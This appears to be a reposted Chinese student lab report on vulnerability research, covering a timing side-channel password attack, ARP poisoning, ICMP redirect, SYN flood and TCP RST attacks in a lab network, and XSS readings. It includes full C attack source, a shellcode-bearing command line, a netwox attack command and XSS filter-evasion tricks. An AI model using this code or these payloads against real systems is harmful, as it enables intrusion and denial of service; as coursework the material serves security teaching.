漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验题目Lab侧信道攻击+TCP/IP实验Pre1、用IE访问某些网站的时候,输入javascript:alert(document.cookie)会有什么反应,解释原因。2、阅读下面两篇文章或者阅读一本书<<JavaScriptDOM编程艺术>>:JavascriptTutorialhttps://www.evl.uic.edu/luc/bv…

大家好,又见面了,我是你们的朋友全栈君。

漏洞挖掘前言

题目

Lab

侧信道攻击 + TCP/IP实验

Pre

1、用IE访问某些网站的时候,输入javascript:alert(document.cookie)会有什么反应,解释原因。

2、阅读下面两篇文章或者阅读一本书<<JavaScript DOM编程艺术>>:
Javascript Tutorial 
https://www.evl.uic.edu/luc/bvis546/Essential_Javascript_–_A_Javascript_Tutorial.pdf
XMLHttpRequest 
http://www.w3school.com.cn/ajax/
http://www.hunlock.com/blogs/AJAX_for_n00bs

3、了解FireFox的两个插件LiveHttpHeaders和Firebug的基本使用方法。

4、阅读下面这篇文章:
跨站脚本攻击实例解析
http://bbs.pediy.com/showthread.php?t=124209

5、阅读下面这两篇文章:
DOM Based Cross Site Scripting or XSS of the Third Kind
http://www.webappsec.org/projects/articles/071105.html 

XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion
http://80×86.io/post/xsscrosssitescriptingcheatsheetespforfilterevasion

6、XSS漏洞的触发条件有哪些?应该如何防范?

 

 

解答

Lab

侧信道攻击 + TCP/IP实验

一、侧信道攻击

这次测信道攻击的漏洞的主要原因是:1、密码是逐个字符判断的。2、输入正确字符和错误字符造成的判断时间相差较大,由于此两点原因,我们可以根据漏洞程序的执行时间逐步判断密码的每一位字符是否正确,从而最终猜解出密码。

我构写的攻击程序attack.c如下:

//sidechannel S1deCh4nnelAttack3r $(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>
int main()
{
	char temp[] = { '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z' };
	char now[19] = "";
	long int time[63];
	int num[63];
	int i, j, k;
	pid_t pid;
	for (i = 0; i <= 18; i++)
	{
		memset(num, 0, sizeof(num));
		for (k = 0; k < 20; k++)
		{
			for (j = 0; j < 63; j++)
			{
				now[i] = temp[j];
				struct timeval start, end;
				gettimeofday(&start, NULL);
				if ((pid = fork()) == 0) {
					execl("./sidechannel", "sidechannel", now, "0", (char *)0);
				}
				else {
					waitpid(pid, NULL, 0);
				}
				gettimeofday(&end, NULL);
				time[j] = (end.tv_sec - start.tv_sec) * 1000000 + (end.tv_usec - start.tv_usec);

			}
			int flag;
			if (i < 18)
			{
				long int value = 2147483647;
				for (j = 0; j < 63; j++)
				{
					//printf("%ld ", time[j]);
					if (value > time[j])
					{
						value = time[j];
						flag = j;
					}
				}
			}
			else
			{
				long int value = -1;
				for (j = 0; j < 63; j++)
				{
					//printf("%ld ", time[j]);
					if (value < time[j])
					{
						value = time[j];
						flag = j;
					}
				}
			}
			num[flag]++;
		}
		long int value = -1, Flag;
		for (j = 0; j < 63; j++)
		{
			//printf("%d ", num[j]);
			if (value < num[j])
			{
				value = num[j];
				Flag = j;
			}
		}
		now[i] = temp[Flag];
		printf("%s\n", now);
	}
	return 0;
}

此代码的基本思想就是:对于每个密码字符,循环20遍、每遍都把63个可能字符尝试一次。对于前18个密码字符,每次循环都会记录这次用时最短的字符,最后选取获得“用时最短字符”次数最多的那个字符;对于第19个字符,每次循环都会记录这次用时最长的字符,最后选取获得“用时最长字符”次数最多的那个字符。

这个代码经过我的测试,发现成功率还是非常高的,而且用时也控制的比较合理,30s以内即能得出结果。

运行演示:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

攻击成功

 

二、TCP/IP实验

Task (1) : ARP cache poisoning

三台机器的IP地址为:192.168.43.204、192.168.43.181、192.168.43.23

在每台机器上运行ifconfig命令,得到网络配置信息如下:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

 

在每台机器上运行arp –na命令

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

 

该命令的含义是告诉23主机,IP地址为192.168.198.181的MAC地址为00:0c:29:e6:b8:4a(实际上是204的地址)。

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

在23主机上运行ping 192.168.198.181命令,并抓取该包,得到下面的信息:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

虽然网络层IP是请求181主机,但是MAC地址却是204主机的,该包将会被204主机接收和处理,而181主机不会接收和处理该包。

 

Task (2) : ICMP Redirect Attack

在正常情况下,我们traceroute百度的结果如下(首先要安装traceroute):

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

为了把181主机访问BBS的包重定向到204主机,204主机需要以路由器(192.168.43.75)的名义发送一个包,通知网关已经更新为204主机。攻击命令如下:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

再次在181主机运行前面的命令:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

可以看出访问失败

 

Task (3) : SYN Flooding Attack

在正常情况下,181主机上的telnet连接状态如下

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

我们用下面的命令对该服务进行SYN洪泛

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

再次查看telnet的连接状态,可以发现有大量半连接:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

将net.ipv4.tcp_syncookies置为0后再次进行攻击,131主机不再进行重置工作,其他的登陆就登陆不上去,而不是之前那样登陆很慢而已。

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

 

Task (4) : TCP RST Attacks on telnet and ssh Connections

23主机登陆181主机

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

查看连接端口为23

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

204主机攻击

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

连接被中断:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

 

Task (6) : ICMP Blind Connection-Reset and Source-Quench Attacks

23主机登陆181主机,204主机使用命令sudo netwox 82 — device “Eth0” — filter “host 192.168.1.104 and tcp port 23” — code 2

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

可以看出,MAC源地址为全0,这个包是由204主机伪造的。

 

 

Pre

1、用IE访问某些网站的时候,输入javascript:alert(document.cookie)会有什么反应,解释原因。

这是查看当前网页登录的cookie信息的命令。

直接复制这段话会被浏览器自动识别,过滤掉“javascript”,所以可以先输入“1javascript:alert(document.cookie)”,复制到地址栏后再删掉开头的“1”。

最终查看cookie信息如下:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

 

2、阅读下面两篇文章或者阅读一本书<<JavaScript DOM编程艺术>>:

Javascript Tutorial

https://www.evl.uic.edu/luc/bvis546/Essential_Javascript_–_A_Javascript_Tutorial.pdf

XMLHttpRequest

http://www.w3school.com.cn/ajax/

http://www.hunlock.com/blogs/AJAX_for_n00bs

 

文章1是一个Javascript的入门教程,从最基础的helloworld教起,把代码copy进txt文档,改后缀名为html,双击即可运行我们的代码。

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

教程包括各种形式的输入、输出,还有判断、循环等等基本语法知识,也是比较好理解的。

后面的两个网址都拒绝访问了。。。看不到内容。

 

3、了解FireFox的两个插件LiveHttpHeaders和Firebug的基本使用方法。

LiveHttpHeaders是一款可以用来实时监测发起的http请求和响应,也可以修改请求参数之后重新发起请求的插件,其实就是抓包。在网上看了大致的抓包流程。但是这插件貌似新版的FireFox已经不兼容了,安装会提示失败。

Firebug是firefox下的一个扩展,能够调试所有网站语言,如Html,Css等,但FireBug最吸引人的就是javascript调试功能,使用起来非常方便,而且在各种浏览器下都能使用。但是Firebug貌似也已经停止开发和更新维护,升级成为浏览器内置的DevTools。

 

4、阅读下面这篇文章:跨站脚本攻击实例解析

http://bbs.pediy.com/showthread.php?t=124209

XSS:跨站脚本,是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

这篇文章介绍的是博客大巴存储型XSS漏洞,主要是“附加信息”的内容过滤不严,导致漏洞。文章演示了很多攻击方式利用此漏洞,包括:窃取Cookie、渗透路由器、读取本地文件等。

 

5、阅读下面这两篇文章:

DOM Based Cross Site Scripting or XSS of the Third Kind

http://www.webappsec.org/projects/articles/071105.html

文章提出了“第三类”XSS攻击,其最大特点是这种类型的攻击不依赖于起初发送到服务端的恶意数据。这与我们上一题中的几种攻击方法显然是矛盾的,但这也是这种方法发特别之处。

文章对于如何不通过服务器实现攻击给出了一个明显的例子:受害者的浏览器接收到这个链接,发送HTTP请求到www.vulnerable.site并且接受到上面的HTML页。受害者的浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它并且修改你的HTML页面。倘若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面执行它,这就产生了xss的条件。

这种不依赖于服务端嵌入数据的xss攻击,具有很重要的现实意义,它可以绕过很多现有的检测和防护技术。

 

XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion

http://80×86.io/post/xsscrosssitescriptingcheatsheetespforfilterevasion

文章描述了一种恰当地使用输出转码或者转义防御XSS攻击的简单积极模式。文章给出了7条XSS防御规则:1、不插入不可信数据、在插入不可信数据到HTML元素内容前,执行HTML转义。2、在插入不可信数据到HTML元素通用属性前,执行属性转义。3、在插入不可信数据到JS数据值前,执行JS转义。4、在插入不可信数据到HTML style属性值之前,执行CSS转义并严格校验。5、在插入不可信数据到URL参数值之前,执行URL转义。6、使用专门的库清理掉HTML标签。7、防御DOM Based XSS攻击。

 

6、XSS漏洞的触发条件有哪些?应该如何防范?

触发条件:

1、插入javascript和vbscript正常字符。

2、转换字符类型

3、插入混淆字符

4、利用CSS代码@import、expression触发XSS漏洞

5、在CSS代码中加入javascript和vbscript脚本

6、转换字符类型,以十六进制字符替换其中或全部的字符

7、插入混淆字符,在css中,/**/是注释字符,除了/**/外,字符”\”和结束符”\0″也是被忽略的,可以用来混淆字符。

 

防范方法:

XSS防御的总体思路是:对输入(和URL参数)进行过滤,对输出进行编码。

1、编码,就是转义用户的输入,把用户的输入解读为数据而不是代码

2、校验,对用户的输入及请求都进行过滤检查,如对特殊字符进行过滤,设置输入域的匹配规则等。

 

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/159768.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • Python定义计算矩阵转置的函数

    Python定义计算矩阵转置的函数定义计算矩阵转置的函数1)使用循环进行转置matrix=[[1,2,3,4],[5,6,7,8],[9,10,11,12]]#打印矩阵defprintMatrix(m):foreleinm:foreinele:print(‘%3d’%e,end=”)print(”)…

    2022年5月24日
    41
  • Apache配置详解(最好的APACHE配置教程)

    Apache配置详解(最好的APACHE配置教程)Apache的配置由httpd.conf文件配置,因此下面的配置指令都是在httpd.conf文件中修改。主站点的配置(基本配置)(1)基本配置:ServerRoot”/mnt/software/apache2″#你的apache软件安装的位置。其它指定的目录如果没有指定绝对路径,则目录是相对于该目录。PidFilelogs/httpd.pid#第一个httpd进程(所有其他进程的父

    2022年7月14日
    18
  • can总线板卡_CAN接口

    can总线板卡_CAN接口现有市场下,智能化程度越来越高,特别是AGV、机器人、物流车、动力电池检测等等行业中工控机应用越来越频繁。然而这些产品核心控制器与电池都是走的CAN总线通讯,而工控机本身是没有CAN通讯,那么工控机就需要通讯桥梁(025-68250795)来扩展CAN通道。而在工控机当中有nimipcie接口,如此就用可以用minipcie接口转CAN的一个模块来实现扩充CAN口。miniPCIe接口CAN卡是PCIExpressmini卡槽的工控机或单板电脑快速扩展CAN通道的利器。产品特性PCIExpr

    2022年9月3日
    2
  • C#操作xml文件:使用XmlDocument 实现读取和写入

    C#操作xml文件:使用XmlDocument 实现读取和写入XML文件是一种常用的文件格式,例如WinForm里面的app.config以及Web程序中的web.config文件,还有许多重要的场所都有它的身影。Xml是Internet环境中跨平台的,依赖于内容的技术,是当前处理结构化文档信息的有力工具。XML是一种简单的数据存储语言,使用一系列简单的标记描述数据,而这些标记可以用方便的方式建立,虽然XML占用的空间比二进制数据要占用更多的空间,但XML极…

    2022年6月22日
    22
  • 【小白视角】大数据基础实践(五) MapReduce编程基础操作

    【小白视角】大数据基础实践(五) MapReduce编程基础操作目录1.MapReduce简介1.1起源1.2模型简介1.3MRv1体系结构1.4YARN1.4.1YARN体系结构1.4.2YARN工作流程2.MapReduce工作流程3.JavaApi要点4.实验过程最后1.MapReduce简介1.1起源在函数式语言里,map表示对一个列表(List)中的每个元素做计算,reduce表示对一个列表中的每个元素做迭代计算。它们具体的计算是通过传入的函数来实现的,map和reduce提供的是计算的框架。在MapReduce

    2022年6月22日
    31
  • Mysql 事物语法

    Mysql 事物语法

    2022年3月4日
    38

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号